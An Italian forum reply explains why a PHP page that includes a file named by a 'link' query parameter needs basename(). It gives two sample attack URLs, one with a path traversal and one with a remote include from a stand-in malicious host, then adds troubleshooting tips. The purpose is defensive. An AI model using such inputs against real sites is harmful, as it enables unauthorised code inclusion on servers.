perchè se non metti basename, puoi subire 2 attacchi diversi:

1. Da un sito che sta in hosting nel tuo stesso server (che magari non è configurato in modo da restringere la lettura/scrittura di files che non sono nella sua doc root), e quindi riesce a richiamare un file php chiamando la tua pagina con:

codice:
nomesito/index.php?link=../../mia_doc_root/paginamaligna.php
2. Puoi subire un include di un'altro sito

codice:
nomesito/index.php?link=http://www.sitomaligno/paginamaligna.php
la quale magari contiene del codice javascript che può creare danni.

basename restituisce solo il nome del file ripulendolo da eventuali percorsi sul server o riferimento a diversi host.

Per quanto riguarda il tuo errore, prova :

1. A usare basename($_GET['link']) al posto di basename($link);
2. Apri i tag php con "<?php" e non con "<?"

Al momento non mi viene in mente altro.

ciao